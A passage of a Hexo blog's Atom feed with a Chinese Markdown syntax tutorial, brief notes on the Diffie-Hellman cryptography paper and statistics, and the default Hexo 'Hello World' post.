<h3 id="粗体与斜体"><a href="#粗体与斜体" class="headerlink" title="粗体与斜体"></a>粗体与斜体</h3><p>Markdown 的粗体和斜体也非常简单,用两个 <em> 包含一段文本就是粗体的语法,用一个 </em> 包含一段文本就是斜体的语法。</p>
<p>例如:<strong>这里是粗体</strong> <em>这里是斜体</em></p>
<h3 id="表格"><a href="#表格" class="headerlink" title="表格"></a>表格</h3><p>表格是我觉得 Markdown 比较累人的地方,例子如下:</p>
<pre><code>| Tables | Are | Cool |
| ------------- |:-------------:| -----:|
| col 3 is | right-aligned | $1600 |
| col 2 is | centered | $12 |
| zebra stripes | are neat | $1 |
</code></pre><p>效果如下:</p>
<table>
<thead>
<tr>
<th>Tables</th>
<th style="text-align:center">Are</th>
<th style="text-align:right">Cool</th>
</tr>
</thead>
<tbody>
<tr>
<td>col 3 is</td>
<td style="text-align:center">right-aligned</td>
<td style="text-align:right">$1600</td>
</tr>
<tr>
<td>col 2 is</td>
<td style="text-align:center">centered</td>
<td style="text-align:right">$12</td>
</tr>
<tr>
<td>zebra stripes</td>
<td style="text-align:center">are neat</td>
<td style="text-align:right">$1</td>
</tr>
</tbody>
</table>
<h3 id="代码框"><a href="#代码框" class="headerlink" title="代码框"></a>代码框</h3><p>单行代码展示,只需要用`框起来即可:<br>代码:<br> <code>int a = 1+1</code><br>效果如下</p>
<p><code>int a = 1+1</code></p>
<p>多行代码展示,需要在多行代码之前添加tab,效果如下:</p>
<pre><code>def http_get(url):
success = False
for i in xrange(3):
try:
r = session.get(url, timeout=10)
if r.status_code == 200:
return r.content
except Exception, e:
# logger.error(&apos;http get error: %s, url: %s&apos; % (e, url))
</code></pre><h3 id="分割线"><a href="#分割线" class="headerlink" title="分割线"></a>分割线</h3><p>分割线的语法只需要三个 * 号。</p>
<p>代码:</p>
<pre><code>***
</code></pre><p>效果:</p>
<hr>
<h2 id="其他工具"><a href="#其他工具" class="headerlink" title="其他工具"></a>其他工具</h2><h3 id="图床工具"><a href="#图床工具" class="headerlink" title="图床工具"></a>图床工具</h3><ul>
<li><p><a href="http://weibotuchuang.sinaapp.com/" target="_blank" rel="external">围脖图床修复计划</a></p>
<p> 安装响应插件后,将图片拖拽上传就可以产生url,方便使用</p>
</li>
</ul>
</content>
<summary type="html">
<blockquote>
<p>We believe that writing is about content, about what you want to say – not about fancy formatting. 我们坚信写作写的是内容,所思所想,而不是花样格式。— Ulysses for Mac</p>
</blockquote>
<h2 id="写作原因"><a href="#写作原因" class="headerlink" title="写作原因:"></a>写作原因:</h2><p>一直在想定期总结一下自己遇到的技术问题和解决方式,顺便记录自己的成长过程。感谢GitHub提供了免费的空间,同时也感谢Hexo的作者,提供了这么好的静态网站制作工具。Hexo文章格式遵循Markdown语法,刚好记录下来,作为第一篇技术学习记录。</p>
<h2 id="语法规则"><a href="#语法规则" class="headerlink" title="语法规则"></a>语法规则</h2><h3 id="标题"><a href="#标题" class="headerlink" title="标题"></a>标题</h3><p># 一级标题</p>
<p>## 二级标题</p>
<p>### 三级标题<br>以此类推,总共六级标题,建议在井号后加一个空格,这是最标准的 Markdown 语法。<br>
</summary>
</entry>
<entry>
<title>密码学的新方向笔记</title>
<link href="http://32t.github.io/2016/03/11/Hello-world-again/"/>
<id>http://32t.github.io/2016/03/11/Hello-world-again/</id>
<published>2016-03-11T06:51:12.000Z</published>
<updated>2016-03-19T16:07:25.000Z</updated>
<content type="html"><p>密码学的新方向《NEW DIRECTIONS IN CRYPTOGRAPHY》是Deffie 和 Hellman两位大神于1976年所写的论文,<br>论文介绍了</p>
</content>
<summary type="html">
<p>密码学的新方向《NEW DIRECTIONS IN CRYPTOGRAPHY》是Deffie 和 Hellman两位大神于1976年所写的论文,<br>论文介绍了</p>
</summary>
<category term="密码学 论文" scheme="http://32t.github.io/tags/%E5%AF%86%E7%A0%81%E5%AD%A6-%E8%AE%BA%E6%96%87/"/>
</entry>
<entry>
<title>统计学笔记</title>
<link href="http://32t.github.io/2016/03/11/ISLR_chap3/"/>
<id>http://32t.github.io/2016/03/11/ISLR_chap3/</id>
<published>2016-03-11T06:51:12.000Z</published>
<updated>2016-03-19T16:09:30.000Z</updated>
<content type="html"><p>标准差可以用来计算置信度。<br>95%的置信度表示有95%的可能性,某个未知的参数会落在某个区间。</p>
<ul>
<li>标准差</li>
<li>置信度&amp;置信区间</li>
<li>假设检验</li>
<li>t-统计</li>
</ul>
</content>
<summary type="html">
<p>标准差可以用来计算置信度。<br>95%的置信度表示有95%的可能性,某个未知的参数会落在某个区间。</p>
<ul>
<li>标准差</li>
<li>置信度&amp;置信区间</li>
<li>假设检验</li>
<li>t-统计</li>
</ul>
</summary>
<category term="统计学" scheme="http://32t.github.io/tags/%E7%BB%9F%E8%AE%A1%E5%AD%A6/"/>
<category term="R" scheme="http://32t.github.io/tags/R/"/>
</entry>
<entry>
<title>Hello World</title>
<link href="http://32t.github.io/2016/03/11/hello-world/"/>
<id>http://32t.github.io/2016/03/11/hello-world/</id>
<published>2016-03-11T06:46:17.000Z</published>
<updated>2016-03-19T16:09:32.000Z</updated>
<content type="html"><p>Welcome to <a href="https://hexo.io/" target="_blank" rel="external">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="external">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="external">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="external">GitHub</a>.</p>
<h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="external">Writing</a></p>
<h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="external">Server</a></p>
<h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="external">Generating</a></p>
<h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="external">Deployment</a></p>
</content>
<summary type="html">
<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="external">Hexo</a>! This is your very first post. Check <a href="https://hexo.
</summary>
</entry>
</feed>